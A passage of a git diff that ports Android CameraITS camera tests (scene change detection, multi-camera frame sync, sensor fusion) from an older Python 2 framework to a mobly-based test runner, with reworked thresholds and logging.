-    screen_cmd_code = subprocess.call(cmd)
-    assert screen_cmd_code == 0
-    t = time.time() - t0
-    print 'tablet event %s: %.3f' % (state, t)
+def toggle_screen(tablet, delay=1):
+  """Sets the chart host screen display level .
 
-
-def capture_frames(cam, delay, burst):
-    """Capture frames."""
-    cap_data_list = []
-    req = its.objects.auto_capture_request()
-    req['android.control.afMode'] = CONTINUOUS_PICTURE_MODE
-    fmt = {'format': 'yuv', 'width': W, 'height': H}
-    t0 = time.time()
+  Args:
+    tablet: Object for screen tablet.
+    delay: Float value for time delay. Default is 1 second.
+  """
+  t0 = time.time()
+  if delay >= 0:
     time.sleep(delay)
-    print 'cap event start:', time.time() - t0
-    caps = cam.do_capture([req]*NUM_FRAMES, fmt)
-    print 'cap event stop:', time.time() - t0
-    # extract frame metadata and frame
-    for i, cap in enumerate(caps):
-        cap_data = {}
-        md = cap['metadata']
-        exp = md['android.sensor.exposureTime']
-        iso = md['android.sensor.sensitivity']
-        fd = md['android.lens.focalLength']
-        ae_state = md['android.control.aeState']
-        af_state = md['android.control.afState']
-        awb_state = md['android.control.awbState']
-        fd_str = 'infinity'
-        if fd != 0.0:
-            fd_str = str(round(1.0E2/fd, 2)) + 'cm'
-        scene_change_flag = md['android.control.afSceneChange']
-        assert scene_change_flag in [0, 1], 'afSceneChange not in [0,1]'
-        img = its.image.convert_capture_to_rgb_image(cap)
-        its.image.write_image(img, '%s_%d_%d.jpg' % (NAME, burst, i))
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        g = its.image.compute_image_means(tile)[1]
-        print '%d, iso: %d, exp: %.2fms, fd: %s, avg: %.3f' % (
-                i, iso, exp*1E-6, fd_str, g),
-        print '[ae,af,awb]: [%d,%d,%d], change: %d' % (
-                ae_state, af_state, awb_state, scene_change_flag)
-        cap_data['exp'] = exp
-        cap_data['iso'] = iso
-        cap_data['fd'] = fd
-        cap_data['3a_state'] = [ae_state, af_state, awb_state]
-        cap_data['avg'] = g
-        cap_data['flag'] = scene_change_flag
-        cap_data_list.append(cap_data)
-    return cap_data_list
+  else:
+    raise ValueError(f'Screen toggle time shifted to {delay} w/o scene change. '
+                     'Tablet does not appear to be toggling. Check setup.')
+  tablet.adb.shell('input keyevent KEYCODE_POWER')
+  t = time.time() - t0
+  logging.debug('Toggling display at %.3f.', t)
 
 
-def main():
-    """Test scene change.
+def capture_frames(cam, delay, burst, log_path):
+  """Capture NUM_FRAMES frames and log metadata.
 
-    Do auto capture with face scene. Power down tablet and recapture.
-    Confirm android.control.afSceneChangeDetected is True.
-    """
-    # check for skip conditions and do 3a up front
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.continuous_picture(props) and
-                             its.caps.af_scene_change(props) and
-                             its.caps.read_3a(props))
-        cam.do_3a()
+  3A state information:
+    AE_STATES: {0: INACTIVE, 1: SEARCHING, 2: CONVERGED, 3: LOCKED,
+                4: FLASH_REQ, 5: PRECAPTURE}
+    AF_STATES: {0: INACTIVE, 1: PASSIVE_SCAN, 2: PASSIVE_FOCUSED,
+                3: ACTIVE_SCAN, 4: FOCUS_LOCKED, 5: NOT_FOCUSED_LOCKED,
+                6: PASSIVE_UNFOCUSED}
+    AWB_STATES: {0: INACTIVE, 1: SEARCHING, 2: CONVERGED, 3: LOCKED}
 
-        # do captures with scene change
-        chart_host_id = get_cmd_line_args()
-        scene_delay = DELAY_DISPLAY
-        for burst in range(NUM_BURSTS):
-            print 'burst number: %d' % burst
-            # create scene change by turning off chart display & capture frames
-            if chart_host_id:
-                print '\nToggling tablet. Scene change at %.3fs.' % scene_delay
-                multiprocessing.Process(name='p1', target=toggle_screen,
-                                        args=(chart_host_id, 'OFF',
-                                              scene_delay,)).start()
-            else:
-                print '\nWave hand in front of camera to create scene change.'
-            cap_data = capture_frames(cam, DELAY_CAPTURE, burst)
+  Args:
+    cam: Camera object.
+    delay: Float value for time delay in seconds.
+    burst: Integer number of burst index.
+    log_path: String location to save images.
+  Returns:
+    cap_data_list. List of dicts for each capture.
+  """
+  cap_data_list = []
+  req = capture_request_utils.auto_capture_request()
+  req['android.control.afMode'] = _CONTINUOUS_PICTURE_MODE
+  fmt = {'format': 'yuv', 'width': _VGA_W, 'height': _VGA_H}
+  t0 = time.time()
+  time.sleep(delay)
+  logging.debug('cap event start: %.6f', time.time() - t0)
+  caps = cam.do_capture([req]*_NUM_FRAMES, fmt)
+  logging.debug('cap event stop: %.6f', time.time() - t0)
 
-            # find frame where 3A converges
-            converged_frame = mask_3a_settling_frames(cap_data)
+  # Extract frame metadata.
+  for i, cap in enumerate(caps):
+    cap_data = {}
+    exp = cap['metadata']['android.sensor.exposureTime'] * _NSEC_TO_MSEC
+    iso = cap['metadata']['android.sensor.sensitivity']
+    focal_length = cap['metadata']['android.lens.focalLength']
+    ae_state = cap['metadata']['android.control.aeState']
+    af_state = cap['metadata']['android.control.afState']
+    awb_state = cap['metadata']['android.control.awbState']
+    if focal_length:
+      fl_str = str(round(_M_TO_CM/focal_length, 2)) + 'cm'
+    else:
+      fl_str = 'infinity'
+    flag = cap['metadata']['android.control.afSceneChange']
+    if flag not in _VALID_SCENE_CHANGE_VALS:
+      raise AssertionError(f'afSceneChange not a valid value: {flag}.')
+    img = image_processing_utils.convert_capture_to_rgb_image(cap)
+    image_processing_utils.write_image(
+        img, '%s_%d_%d.jpg' % (os.path.join(log_path, _NAME), burst, i))
+    patch = image_processing_utils.get_image_patch(
+        img, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+    green_avg = image_processing_utils.compute_image_means(patch)[_RGB_G_CH]
+    logging.debug(
+        '%d, iso: %d, exp: %.2fms, fd: %s, avg: %.3f, 3A: [%d,%d,%d], flag: %d',
+        i, iso, exp, fl_str, green_avg, ae_state, af_state, awb_state, flag)
+    cap_data['3a_state'] = (ae_state, af_state, awb_state)
+    cap_data['avg'] = green_avg
+    cap_data['flag'] = flag
+    cap_data_list.append(cap_data)
+  return cap_data_list
 
-            # turn tablet back on to return to baseline scene state
-            if chart_host_id:
-                toggle_screen(chart_host_id, 'ON', 0)
 
-            # determine if brightness changed and/or scene change flag asserted
-            scene_changed, bright_changed = determine_if_scene_changed(
-                    cap_data, converged_frame)
+class SceneChangeTest(its_base_test.ItsBaseTest):
+  """Tests that AF scene change detected metadata changes for scene change.
 
-            # handle different capture cases
-            if converged_frame > -1:  # 3A converges
-                if scene_changed:
-                    if bright_changed:
-                        print ' scene & brightness change on burst %d.' % burst
-                        sys.exit(0)
-                    else:
-                        msg = ' scene change, but no brightness change.'
-                        assert False, msg
-                else:  # shift scene change timing if no scene change
-                    scene_shift = FRAME_SHIFT / FPS
-                    if bright_changed:
-                        print ' No scene change, but brightness change.'
-                        print 'Shift %.3fs earlier' % scene_shift
-                        scene_delay -= scene_shift  # tablet-off earlier
-                    else:
-                        scene_shift = FRAME_SHIFT / FPS * NUM_BURSTS
-                        print ' No scene change, no brightness change.'
-                        if cap_data[NUM_FRAMES-1]['avg'] < 0.2:
-                            print ' Scene dark entire capture.',
-                            print 'Shift %.3fs later.' % scene_shift
-                            scene_delay += scene_shift  # tablet-off later
-                        else:
-                            print ' Scene light entire capture.',
-                            print 'Shift %.3fs earlier.' % scene_shift
-                            scene_delay -= scene_shift  # tablet-off earlier
+  Confirm android.control.afSceneChangeDetected is asserted when scene changes.
 
-            else:  # 3A does not converge
-                if bright_changed:
-                    scene_shift = FRAME_SHIFT / FPS
-                    print ' 3A does not converge, but brightness change.',
-                    print 'Shift %.3fs later' % scene_shift
-                    scene_delay += scene_shift  # tablet-off earlier
-                else:
-                    msg = ' 3A does not converge with no brightness change.'
-                    assert False, msg
+  Does continuous capture with face scene during scene change. With no scene
+  change, behavior should be similar to scene2_b/test_continuous_picture.
+  Scene change is modeled with scene tablet powered down during continuous
+  capture. If tablet does not exist, scene change can be modeled with hand wave
+  in front of camera.
 
-        # fail out if too many tries
-        msg = 'No scene change in %dx tries' % NUM_BURSTS
-        assert False, msg
+  Depending on scene brightness changes and scene change flag assertions during
+  test, adjust tablet timing to move scene change to appropriate timing for
+  test.
+  """
+
+  def test_scene_change(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+      tablet = self.tablet
+
+      # Check SKIP conditions.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.continuous_picture(props) and
+          camera_properties_utils.af_scene_change(props))
+
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, tablet, self.chart_distance)
+
+      # Do captures with scene change.
+      tablet_level = int(self.tablet_screen_brightness)
+      logging.debug('Tablet brightness: %d', tablet_level)
+      scene_change_delay = _DELAY_DISPLAY
+      cam.do_3a()  # Do 3A up front to settle camera.
+      for burst in range(_NUM_TRIES):
+        logging.debug('burst number: %d', burst)
+        # Create scene change by turning off chart display & capture frames
+        if tablet:
+          multiprocessing.Process(name='p1', target=toggle_screen,
+                                  args=(tablet, scene_change_delay,)).start()
+        else:
+          print('Wave hand in front of camera to create scene change.')
+        cap_data = capture_frames(cam, _DELAY_CAPTURE, burst, log_path)
+
+        # Find frame where 3A converges and final brightness.
+        converged_frame = find_3a_converged_frame(cap_data)
+        converged_flag = True if converged_frame != -1 else False
+        bright_final = cap_data[_NUM_FRAMES - 1]['avg']
+
+        # Determine if scene changed.
+        scene_change_flag, bright_change_flag = determine_if_scene_changed(
+            cap_data, converged_frame)
+
+        # Adjust timing based on captured frames and scene change flags.
+        timing_adjustment = scene_change_utils.calc_timing_adjustment(
+            converged_flag, scene_change_flag, bright_change_flag, bright_final)
+        if timing_adjustment == scene_change_utils.SCENE_CHANGE_PASS_CODE:
+          break
+        elif timing_adjustment == scene_change_utils.SCENE_CHANGE_FAIL_CODE:
+          raise AssertionError('Test fails. Check logging.error.')
+        else:
+          if burst == _NUM_TRIES-1:  # FAIL out after NUM_TRIES.
+            raise AssertionError(f'No scene change in {_NUM_TRIES}x tries.')
+          else:
+            scene_change_delay += timing_adjustment / _FPS
+
+        if tablet:
+          logging.debug('Turning screen back ON.')
+          toggle_screen(tablet)
 
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/sensor_fusion/test_multi_camera_frame_sync.py b/apps/CameraITS/tests/sensor_fusion/test_multi_camera_frame_sync.py
index e8f3c4c..3afd554 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_multi_camera_frame_sync.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_multi_camera_frame_sync.py
@@ -11,174 +11,277 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verify multiple cameras take images in same time base."""
 
-import its.caps
-from its.cv2image import get_angle
-import its.device
-import its.image
-import its.objects
-import its.target
 
-import cv2
+import logging
+import multiprocessing
+import os
+import time
 import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
 import numpy
-import os
 
-ANGLE_MASK = 10  # degrees
-ANGULAR_DIFF_THRESHOLD = 10  # degrees
-ANGULAR_MOVEMENT_THRESHOLD = 35  # degrees
-NAME = os.path.basename(__file__).split(".")[0]
-NUM_CAPTURES = 100
-W = 640
-H = 480
-CHART_DISTANCE = 25  # cm
-CM_TO_M = 1/100.0
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import opencv_processing_utils
+import sensor_fusion_utils
+
+_ANGLE_90_MASK = 10  # (degrees) mask around 0/90 as rotated squares look same
+_ANGLE_JUMP_90 = 60  # 90 - 2*ANGLE_90_MASK - 2*5 degree slop on top/bottom
+_ANGULAR_DIFF_THRESH_API30 = 10  # degrees
+_ANGULAR_DIFF_THRESH_CALIBRATED = 1.8  # degrees (180 deg / 1000 ms * 10 ms)
+_ANGULAR_MOVEMENT_THRESHOLD = 35  # degrees
+_FRAMES_WITH_SQUARES_MIN = 20  # min number of frames with angles extracted
+_NAME = os.path.basename(__file__).split('.')[0]
+_NUM_CAPTURES = 100
+_NUM_ROTATIONS = 10
+_ROT_INIT_WAIT_TIME = 2  # seconds
+_CHART_DISTANCE_SF = 25  # cm
+_CM_TO_M = 1/100.0
 
 
-def _assert_camera_movement(frame_pairs_angles):
+def _determine_max_frame_to_frame_shift(angle_pairs):
+  """Detemine max frame to frame shift from 10-80 data."""
+  frame_to_frame_diff_max = 0
+  for i in range(1, len(angle_pairs)):
+    for j in [0, 1]:
+      frame_to_frame_diff = abs(
+          angle_pairs[i][j] - angle_pairs[i-1][j])
+      if _ANGLE_JUMP_90 > frame_to_frame_diff > frame_to_frame_diff_max:
+        frame_to_frame_diff_max = frame_to_frame_diff
+      logging.debug('cam: %d frame_to_frame_diff: %.2f', j, frame_to_frame_diff)
+  logging.debug('frame_to_frame_diff_max: %.2f', frame_to_frame_diff_max)
+  return frame_to_frame_diff_max
+
+
+def _determine_angular_diff_thresh(first_api_level, sync_calibrated,
+                                   frame_to_frame_max):
+  """Determine angular difference threshold based on first API & sync type."""
+  if first_api_level < 31:  # Original constraint.
+    angular_diff_thresh = _ANGULAR_DIFF_THRESH_API30
+    logging.debug('first API level < 31')
+  else:  # Change depending on APPROX or CALIBRATED time source.
+    if sync_calibrated:  # CALIBRATED sync
+      angular_diff_thresh = _ANGULAR_DIFF_THRESH_CALIBRATED
+      logging.debug('CALIBRATED sync')
+    else:  # APPROXIMATE sync
+      angular_diff_thresh = frame_to_frame_max
+      logging.debug('APPROXIMATE sync')
+  logging.debug('angular diff threshold: %.2f', angular_diff_thresh)
+  return angular_diff_thresh
+
+
+def _remove_frames_without_enough_squares(frame_pairs_angles):
+  """Remove any frames without enough squares."""
+  filtered_pairs_angles = []
+  for angle_1, angle_2 in frame_pairs_angles:
+    if angle_1 is None or angle_2 is None:
+      continue
+    filtered_pairs_angles.append([angle_1, angle_2])
+
+  num_filtered_pairs_angles = len(filtered_pairs_angles)
+  logging.debug('Using %d image pairs to compute angular difference.',
+                num_filtered_pairs_angles)
+
+  if num_filtered_pairs_angles < _FRAMES_WITH_SQUARES_MIN:
+    raise AssertionError('Unable to identify enough frames with detected '
+                         f'squares. Found: {num_filtered_pairs_angles}, '
+                         f'THRESH: {_FRAMES_WITH_SQUARES_MIN}.')
+
+  return filtered_pairs_angles
+
+
+def _mask_angles_near_extremes(frame_pairs_angles):
+  """Mask out the data near the top and bottom of angle range."""
+  masked_pairs_angles = [[i, j] for i, j in frame_pairs_angles
+                         if _ANGLE_90_MASK <= abs(i) <= 90-_ANGLE_90_MASK and
+                         _ANGLE_90_MASK <= abs(j) <= 90-_ANGLE_90_MASK]
+  if masked_pairs_angles:
+    return masked_pairs_angles
+  else:
+    raise AssertionError('Not enough phone movement! All angle pairs masked '
+                         'out by 0/90 angle removal.')
+
+
+def _plot_frame_pairs_angles(frame_pairs_angles, ids, log_path):
+  """Plot the extracted angles."""
+  matplotlib.pyplot.figure('Camera Rotation Angle')
+  cam0_angles = [i for i, _ in frame_pairs_angles]
+  cam1_angles = [j for _, j in frame_pairs_angles]
+  pylab.plot(range(len(cam0_angles)), cam0_angles, '-r.', alpha=0.5,
+             label='%s' % ids[0])
+  pylab.plot(range(len(cam1_angles)), cam1_angles, '-g.', alpha=0.5,
+             label='%s' % ids[1])
+  pylab.legend()
+  pylab.xlabel('Frame number')
+  pylab.ylabel('Rotation angle (degrees)')
+  matplotlib.pyplot.savefig(
+      '%s_angles_plot.png' % os.path.join(log_path, _NAME))
+
+  matplotlib.pyplot.figure('Angle Diffs')
+  angle_diffs = [j-i for i, j in frame_pairs_angles]
+  pylab.plot(range(len(angle_diffs)), angle_diffs, '-b.',
+             label='cam%s-%s' % (ids[1], ids[0]))
+  pylab.legend()
+  pylab.xlabel('Frame number')
+  pylab.ylabel('Rotation angle difference (degrees)')
+  matplotlib.pyplot.savefig(
+      '%s_angle_diffs_plot.png' % os.path.join(log_path, _NAME))
+
+
+class MultiCameraFrameSyncTest(its_base_test.ItsBaseTest):
+  """Test frame timestamps captured by logical camera are within 10ms.
+
+  Captures data with phone moving in front of chessboard pattern.
+  Extracts angles from images and calculated angles. Compares angle movement
+  between the 2 cameras.
+  Masks out data near 90 degrees as with the chessboard, 90 degrees will
+  look like 0 degrees.
+  """
+
+  def _collect_data(self, cam, props, rot_rig):
+    """Returns list of pair of gray frames and camera ids used for captures."""
+
+    # Determine return parameters
+    ids = camera_properties_utils.logical_multi_camera_physical_ids(props)
+
+    # Define capture request
+    sens, exp, _, _, _ = cam.do_3a(get_results=True, do_af=False)
+    req = capture_request_utils.manual_capture_request(sens, exp)
+    fd_min = props['android.lens.info.minimumFocusDistance']
+    fd_chart = 1 / (_CHART_DISTANCE_SF * _CM_TO_M)
+    if fd_min < fd_chart:
+      req['android.lens.focusDistance'] = fd_min
+    else:
+      req['android.lens.focusDistance'] = fd_chart
+
+    # Capture YUVs
+    width = opencv_processing_utils.VGA_WIDTH
+    height = opencv_processing_utils.VGA_HEIGHT
+    out_surfaces = [{'format': 'yuv', 'width': width, 'height': height,
+                     'physicalCamera': ids[0]},
+                    {'format': 'yuv', 'width': width, 'height': height,
+                     'physicalCamera': ids[1]}]
+
+    out_surfaces_supported = cam.is_stream_combination_supported(out_surfaces)
+    camera_properties_utils.skip_unless(out_surfaces_supported)
+
+    # Start camera rotation & sleep shortly to let rotations start
+    p = multiprocessing.Process(
+        target=sensor_fusion_utils.rotation_rig,
+        args=(rot_rig['cntl'], rot_rig['ch'], _NUM_ROTATIONS,))
+    p.start()
+    time.sleep(_ROT_INIT_WAIT_TIME)
+
+    # Do captures
+    capture_1_list, capture_2_list = cam.do_capture(
+        [req]*_NUM_CAPTURES, out_surfaces)
+
+    # Create list of capture pairs. [[cap1A, cap1B], [cap2A, cap2B], ...]
+    frame_pairs = zip(capture_1_list, capture_2_list)
+
+    # Convert captures to grayscale
+    frame_pairs_gray = []
+    for pair in frame_pairs:
+      frame_pairs_gray.append(
+          [cv2.cvtColor(image_processing_utils.convert_capture_to_rgb_image(
+              f, props=props), cv2.COLOR_RGB2GRAY) for f in pair])
+
+    # Save images
+    for i, imgs in enumerate(frame_pairs_gray):
+      for j in [0, 1]:
+        file_name = '%s_%s_%03d.png' % (
+            os.path.join(self.log_path, _NAME), ids[j], i)
+        cv2.imwrite(file_name, imgs[j]*255)
+
+    return frame_pairs_gray, ids
+
+  def _assert_camera_movement(self, frame_pairs_angles):
     """Assert the angles between each frame pair are sufficiently different.
 
+    Args:
+      frame_pairs_angles: [normal, wide] angles extracted from images.
+
     Different angles is an indication of camera movement.
     """
-    angles = [i for i, j in frame_pairs_angles]
+    angles = [i for i, _ in frame_pairs_angles]
     max_angle = numpy.amax(angles)
     min_angle = numpy.amin(angles)
-    emsg = "Not enough phone movement!\n"
-    emsg += "min angle: %.2f, max angle: %.2f deg, THRESH: %d deg" % (
-            min_angle, max_angle, ANGULAR_MOVEMENT_THRESHOLD)
-    assert max_angle - min_angle > ANGULAR_MOVEMENT_THRESHOLD, emsg
+    logging.debug('Camera movement. min angle: %.2f, max: %.2f',
+                  min_angle, max_angle)
+    if max_angle-min_angle < _ANGULAR_MOVEMENT_THRESHOLD:
+      raise AssertionError(
+          f'Not enough phone movement! min angle: {min_angle:.2f}, max angle: '
+          f'{max_angle:.2f}, THRESH: {_ANGULAR_MOVEMENT_THRESHOLD:d} deg')
 
-
-def _assert_angular_difference(angle_1, angle_2):
+  def _assert_angular_difference(self, angle_1, angle_2, angular_diff_thresh):
     """Assert angular difference is within threshold."""
     diff = abs(angle_2 - angle_1)
 
     # Assert difference is less than threshold
-    emsg = "Diff between frame pair: %.1f. Threshold: %d deg." % (
-            diff, ANGULAR_DIFF_THRESHOLD)
-    assert diff < ANGULAR_DIFF_THRESHOLD, emsg
+    if diff > angular_diff_thresh:
+      raise AssertionError(
+          f'Too much difference between cameras! Angle 1: {angle_1:.2f}, 2: '
+          f'{angle_2:.2f}, diff: {diff:.3f}, TOL: {angular_diff_thresh}.')
 
+  def test_multi_camera_frame_sync(self):
+    rot_rig = {}
+    rot_rig['cntl'] = self.rotator_cntl
+    rot_rig['ch'] = self.rotator_ch
 
-def _mask_angles_near_extremes(frame_pairs_angles):
-    """Mask out the data near the top and bottom of angle range."""
-    masked_pairs_angles = [[i, j] for i, j in frame_pairs_angles
-                           if ANGLE_MASK <= abs(i) <= 90-ANGLE_MASK and
-                                ANGLE_MASK <= abs(j) <= 90-ANGLE_MASK]
-    return masked_pairs_angles
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
 
+      # Check SKIP conditions.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.multi_camera_frame_sync_capable(props))
 
-def _plot_frame_pairs_angles(frame_pairs_angles, ids):
-    """Plot the extracted angles."""
-    matplotlib.pyplot.figure("Camera Rotation Angle")
-    cam0_angles = [i for i, j in frame_pairs_angles]
-    cam1_angles = [j for i, j in frame_pairs_angles]
-    pylab.plot(range(len(cam0_angles)), cam0_angles, "r", label="%s" % ids[0])
-    pylab.plot(range(len(cam1_angles)), cam1_angles, "g", label="%s" % ids[1])
-    pylab.legend()
-    pylab.xlabel("Camera frame number")
-    pylab.ylabel("Rotation angle (degrees)")
-    matplotlib.pyplot.savefig("%s_angles_plot.png" % (NAME))
+      # Get first API level & multi camera sync type
+      first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+      sync_calibrated = camera_properties_utils.multi_camera_sync_calibrated(
+          props)
+      logging.debug(
+          'sync: %s', 'CALIBRATED' if sync_calibrated else 'APPROXIMATE')
 
-    matplotlib.pyplot.figure("Angle Diffs")
-    angle_diffs = [j-i for i, j in frame_pairs_angles]
-    pylab.plot(range(len(angle_diffs)), angle_diffs, "b",
-               label="cam%s-%s" % (ids[1], ids[0]))
-    pylab.legend()
-    pylab.xlabel("Camera frame number")
-    pylab.ylabel("Rotation angle difference (degrees)")
-    matplotlib.pyplot.savefig("%s_angle_diffs_plot.png" % (NAME))
-
-
-def _collect_data():
-    """Returns list of pair of gray frames and camera ids used for captures."""
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-
-        # If capabilities not present, skip.
-        its.caps.skip_unless(its.caps.multi_camera_frame_sync_capable(props))
-
-        # Determine return parameters
-        debug = its.caps.debug_mode()
-        ids = its.caps.logical_multi_camera_physical_ids(props)
-
-        # Define capture request
-        s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
-        req = its.objects.manual_capture_request(s, e)
-        fd_min = props["android.lens.info.minimumFocusDistance"]
-        fd_chart = 1 / (CHART_DISTANCE * CM_TO_M)
-        if fd_min < fd_chart:
-            req["android.lens.focusDistance"] = fd_min
-        else:
-            req["android.lens.focusDistance"] = fd_chart
-
-        # capture YUVs
-        out_surfaces = [{"format": "yuv", "width": W, "height": H,
-                         "physicalCamera": ids[0]},
-                        {"format": "yuv", "width": W, "height": H,
-                         "physicalCamera": ids[1]}]
-
-        out_surfaces_supported = cam.is_stream_combination_supported(out_surfaces)
-        its.caps.skip_unless(out_surfaces_supported)
-
-        capture_1_list, capture_2_list = cam.do_capture(
-            [req]*NUM_CAPTURES, out_surfaces)
-
-        # Create list of capture pairs. [[cap1A, cap1B], [cap2A, cap2B], ...]
-        frame_pairs = zip(capture_1_list, capture_2_list)
-
-        # Convert captures to grayscale
-        frame_pairs_gray = [
-            [
-                cv2.cvtColor(its.image.convert_capture_to_rgb_image(f, props=props), cv2.COLOR_RGB2GRAY) for f in pair
-            ] for pair in frame_pairs]
-
-        # Save images for debugging
-        if debug:
-            for i, imgs in enumerate(frame_pairs_gray):
-                for j in [0, 1]:
-                    file_name = "%s_%s_%03d.png" % (NAME, ids[j], i)
-                    cv2.imwrite(file_name, imgs[j]*255)
-
-        return frame_pairs_gray, ids
-
-
-def main():
-    """Test frame timestamps captured by logical camera are within 10ms."""
-    frame_pairs_gray, ids = _collect_data()
+      # Collect data
+      frame_pairs_gray, ids = self._collect_data(cam, props, rot_rig)
 
     # Compute angles in frame pairs
     frame_pairs_angles = [
-            [get_angle(p[0]), get_angle(p[1])] for p in frame_pairs_gray]
+        [opencv_processing_utils.get_angle(p[0]),
+         opencv_processing_utils.get_angle(p[1])] for p in frame_pairs_gray]
 
     # Remove frames where not enough squares were detected.
-    filtered_pairs_angles = []
-    for angle_1, angle_2 in frame_pairs_angles:
-        if angle_1 is None or angle_2 is None:
-            continue
-        filtered_pairs_angles.append([angle_1, angle_2])
-
-    print "Using {} image pairs to compute angular difference.".format(
-            len(filtered_pairs_angles))
-
-    assert len(filtered_pairs_angles) > 20, (
-        "Unable to identify enough frames with detected squares.")
+    filtered_pairs_angles = _remove_frames_without_enough_squares(
+        frame_pairs_angles)
 
     # Mask out data near 90 degrees.
-    # The chessboard angles we compute go from 0 to 89. Meaning,
-    # 90 degrees equals to 0 degrees.
-    # In order to avoid this jump, we ignore any frames at these extremeties.
     masked_pairs_angles = _mask_angles_near_extremes(filtered_pairs_angles)
 
-    # Plot angles and differences
-    _plot_frame_pairs_angles(filtered_pairs_angles, ids)
+    # Plot angles and differences.
+    _plot_frame_pairs_angles(filtered_pairs_angles, ids, self.log_path)
 
-    # Ensure camera moved
-    _assert_camera_movement(filtered_pairs_angles)
+    # Ensure camera moved.
+    self._assert_camera_movement(masked_pairs_angles)
 
-    # Ensure angle between images from each camera does not change appreciably
+    # Ensure angle between the two cameras is not too different.
+    max_frame_to_frame_diff = _determine_max_frame_to_frame_shift(
+        masked_pairs_angles)
+    angular_diff_thresh = _determine_angular_diff_thresh(
+        first_api_level, sync_calibrated, max_frame_to_frame_diff)
     for cam_1_angle, cam_2_angle in masked_pairs_angles:
-        _assert_angular_difference(cam_1_angle, cam_2_angle)
+      self._assert_angular_difference(
+          cam_1_angle, cam_2_angle, angular_diff_thresh)
 
-if __name__ == "__main__":
-    main()
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 0caf148..d6dded3 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -11,501 +11,463 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verify image and inertial sensor events are well synchronized."""
 
-import bisect
+
 import json
+import logging
 import math
-import os.path
-import sys
+import multiprocessing
+import os
 import time
 
-import cv2
-import its.caps
-import its.device
-import its.image
-import its.objects
-import matplotlib
 from matplotlib import pylab
 import matplotlib.pyplot
-import numpy
-from PIL import Image
+from mobly import test_runner
+import numpy as np
 import scipy.spatial
 
-NAME = os.path.basename(__file__).split(".")[0]
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import sensor_fusion_utils
 
-W, H = 640, 480
-FPS = 30
-TEST_LENGTH = 7  # seconds
-FEATURE_MARGIN = 0.20  # Only take feature points from the center 20%
-                       # so that the rotation measured have much less of rolling
-                       # shutter effect
+_CAM_FRAME_RANGE_MAX = 9.0  # Seconds: max allowed camera frame range.
+_FEATURE_MARGIN = 0.20  # Only take feature points from center 20% so that
+                        # rotation measured has less rolling shutter effect.
+_CV2_FEATURE_PARAMS = dict(maxCorners=100,
+                           qualityLevel=0.3,
+                           minDistance=7,
+                           blockSize=7)  # values for cv2.goodFeaturesToTrack
+_FEATURE_PTS_MIN = 30  # Min number of feature pts to perform rotation analysis.
+_GYRO_SAMP_RATE_MIN = 100.0  # Samples/second: min gyro sample rate.
+_CV2_LK_PARAMS = dict(winSize=(15, 15),
+                      maxLevel=2,
+                      criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT,
+                                10, 0.03))  # cv2.calcOpticalFlowPyrLK params.
 
-MIN_FEATURE_PTS = 30          # Minimum number of feature points required to
-                              # perform rotation analysis
-
-MAX_CAM_FRM_RANGE_SEC = 9.0   # Maximum allowed camera frame range. When this
-                              # number is significantly larger than 7 seconds,
-                              # usually system is in some busy/bad states.
-
-MIN_GYRO_SMP_RATE = 100.0     # Minimum gyro sample rate
-
-FEATURE_PARAMS = dict(maxCorners=240,
-                      qualityLevel=0.3,
-                      minDistance=7,
-                      blockSize=7)
-
-LK_PARAMS = dict(winSize=(15, 15),
-                 maxLevel=2,
-                 criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT,
-                           10, 0.03))
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NUM_ROTATIONS = 10
 
 # Constants to convert between different units (for clarity).
-SEC_TO_NSEC = 1000*1000*1000.0
-SEC_TO_MSEC = 1000.0
-MSEC_TO_NSEC = 1000*1000.0
-MSEC_TO_SEC = 1/1000.0
-NSEC_TO_SEC = 1/(1000*1000*1000.0)
-NSEC_TO_MSEC = 1/(1000*1000.0)
-CM_TO_M = 1/100.0
+_SEC_TO_MSEC = 1000.0
+_MSEC_TO_NSEC = 1000*1000.0
+_NSEC_TO_SEC = 1.0E-9
+_CM_TO_M = 1E-2
+_RADS_TO_DEGS = 180/math.pi
 
 # PASS/FAIL thresholds.
-THRESH_MAX_CORR_DIST = 0.005
-THRESH_MAX_SHIFT_MS = 1
